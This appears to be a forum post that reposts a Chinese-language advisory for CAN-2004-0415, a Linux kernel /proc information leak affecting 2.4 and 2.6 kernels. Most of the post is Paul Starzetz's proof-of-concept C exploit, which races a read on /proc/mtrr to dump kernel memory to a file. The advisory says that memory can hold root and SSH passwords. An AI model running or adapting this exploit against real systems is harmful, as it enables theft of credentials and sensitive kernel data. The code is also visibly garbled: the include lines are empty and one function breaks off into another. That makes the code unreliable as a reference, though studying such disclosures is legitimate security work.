afa寫著 '
受影響系統:
Linux kernel 2.6.7
Linux kernel 2.6.6
Linux kernel 2.6.5
Linux kernel 2.6.4
Linux kernel 2.6.3
Linux kernel 2.6.2
Linux kernel 2.6.1
Linux kernel 2.6
Linux kernel 2.4.9
Linux kernel 2.4.8
Linux kernel 2.4.7
Linux kernel 2.4.6
Linux kernel 2.4.5
Linux kernel 2.4.4
Linux kernel 2.4.3
Linux kernel 2.4.26
Linux kernel 2.4.25
Linux kernel 2.4.24
Linux kernel 2.4.23
Linux kernel 2.4.22
Linux kernel 2.4.21
Linux kernel 2.4.20
Linux kernel 2.4.2
Linux kernel 2.4.19
Linux kernel 2.4.17
Linux kernel 2.4.16
Linux kernel 2.4.15
Linux kernel 2.4.14
Linux kernel 2.4.13
Linux kernel 2.4.12
Linux kernel 2.4.11
Linux kernel 2.4.10
Linux kernel 2.4.1
Linux kernel 2.4
Linux kernel 2.4.18
- Conectiva Linux 8.0
- Conectiva Linux 7.0
- Debian Linux 3.0
- Mandrake Linux 9.0
- Mandrake Linux 8.2
- RedHat Linux 8.0
- RedHat Linux 7.3
描述:
------------------------------------------------------------------------------
--
CVE(CAN) ID: CAN-2004-0415
Linux是一款開放原始碼作業系統。
Linux核心在處理64位檔案位移指標時存在問題,本地攻擊者可以利用這個漏洞獲得核心
記憶體中的敏感資訊。
Linux核心對使用者空間應用程式提供檔案處理API,一般來說一個檔案可以被檔案名稱識別及
通過Open(2)系統調用開啟返回核心檔案對象的檔案描述符。
檔案對象的其中一個屬性成為檔案位移(file offset),每次讀寫都從offset記錄的位置
開始讀寫。另外通過lseek(2)系統調用也可以更改及標識介質上檔案映象裡的當前讀/寫
位置。
在最近的Linux內何中包含兩個不同版本的檔案處理API:舊的32位和新的64位(LFS)
API。ISEC小組發現多處代碼不正確地從64位大小檔案位移轉換為32位檔案位移,可導致
不安全的訪問檔案位移成員變數。
ISEC發現多數/proc條目(如/proc/version)泄露未初始化核心記憶體頁,可被攻擊者利用獲
得敏感資訊。
利用/proc/mtrr檔案可讀取大量核心記憶體資訊,包括ROOT密碼,OPENSSH登入密碼等。詳
細利用方法可參看如下資料:
http://isec.pl/vulnerabilities/isec-0016-procleaks.txt
測試方法:
------------------------------------------------------------------------------
--
警 告
以下程式(方法)可能帶有攻擊性,僅供安全研究與教學之用。使用者風險自負!
Paul Starzetz (paul@starzetz.de)提供了如下測試方法:
/*
* gcc -O3 proc_kmem_dump.c -o proc_kmem_dump
*
* Copyright (c) 2004 iSEC Security Research. All Rights Reserved.
*
* THIS PROGRAM IS FOR EDUCATIONAL PURPOSES *ONLY* IT IS PROVIDED "AS IS"
* AND WITHOUT ANY WARRANTY. COPYING, PRINTING, DISTRIBUTION, MODIFICATION
* WITHOUT PERMISSION OF THE AUTHOR IS STRICTLY PROHIBITED.
*
*/
#define _GNU_SOURCE
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
// define machine mem size in MB
#define MEMSIZE 64
_syscall5(int, _llseek, uint, fd, ulong, hi, ulong, lo, loff_t *, res,
uint, wh);
void fatal(const char *msg)
{
printf("n");
if(!errno) {
fprintf(stderr, "FATAL ERROR: %sn", msg);
}
else {
perror(msg);
}
printf("n");
fflush(stdout);
fflush(stderr);
exit(31337);
}
static int cpid, nc, fd, pfd, r=0, i=0, csize, fsize=1024*1024*MEMSIZE,
size=PAGE_SIZE, us;
static volatile int go[2];
static loff_t off;
static char *buf=NULL, *file, child_stack[PAGE_SIZE];
static struct timeval tv1, tv2;
static struct stat st;
// child close sempahore & sleep
int start_child(void *arg)
{
// unlock parent & close semaphore
go[0]=0;
madvise(file, csize, MADV_DONTNEED);
madvise(file, csize, MADV_SEQUENTIAL);
gettimeofday(&tv1, NULL);
read(pfd, buf, 0);
go[0]=1;
r = madvise(file, csize, MADV_WILLNEED);
if(r)
fatal("madvise");
// parent blocked on mmap_sem? GOOD!
if(go[1] == 1 || _llseek(pfd, 0, 0, &off, SEEK_CUR)", name);
printf("nn");
exit(1);
}
int main(int ac, char **av)
{
if(ac<2)
usage(av[0]);
// mmap big file not in cache
r=stat(av[1], &st);
if(r)
fatal("stat file");
csize = (st.st_size + (PAGE_SIZE-1)) & ~(PAGE_SIZE-1);
fd=open(av[1], O_RDONLY);
if(fd<0)
fatal("open file");
file=mmap(NULL, csize, PROT_READ, MAP_SHARED, fd, 0);
if(file==MAP_FAILED)
fatal("mmap");
close(fd);
printf("n[+] mmaped uncached file at %p - %p", file, file+csize);
fflush(stdout);
pfd=open("/proc/mtrr", O_RDONLY);
if(pfd<0)
fatal("open");
fd=open("kmem.dat", O_RDWR|O_CREAT|O_TRUNC, 0644);
if(fd<0)
fatal("open data");
r=ftruncate(fd, fsize);
if(r<0)
fatal("ftruncate");
buf=mmap(NULL, fsize, PROT_READ|PROT_WRITE, MAP_SHARED, fd, 0);
if(buf==MAP_FAILED)
fatal("mmap");
close(fd);
printf("n[+] mmaped kernel data file at %p", buf);
fflush(stdout);
// clone thread wait for child sleep
nc = nice(0);
cpid=clone(&start_child, child_stack + sizeof(child_stack)-4,
CLONE_FILES|CLONE_VM, NULL);
nice(19-nc);
while(go[0]==0) {
i++;
}
// try to read & sleep & move fpos to be negative
gettimeofday(&tv1, NULL);
go[1] = 1;
r = read(pfd, buf, size );
go[1] = 2;
gettimeofday(&tv2, NULL);
if(r<0)
fatal("read");
while(go[0]!=2) {
i++;
}
us = tv2.tv_sec - tv1.tv_sec;
us *= 1000000;
us += (tv2.tv_usec - tv1.tv_usec) ;
printf("n[+] READ %d bytes in %d usec", r, us); fflush(stdout);
r = _llseek(pfd, 0, 0, &off, SEEK_CUR);
if(r < 0 ) {
printf("n[+] SUCCESS, lseek fails, reading kernel mem...n");
fflush(stdout);
i=0;
for(;;) {
r = read(pfd, buf, PAGE_SIZE );
if(r!=PAGE_SIZE)
break;
buf += PAGE_SIZE;
i++;
printf("r PAGE %6d", i); fflush(stdout);
}
printf("n[+] done, err=%s", strerror(errno) );
fflush(stdout);
}
close(pfd);
printf("n");
sleep(1);
kill(cpid, 9);
return 0;
}'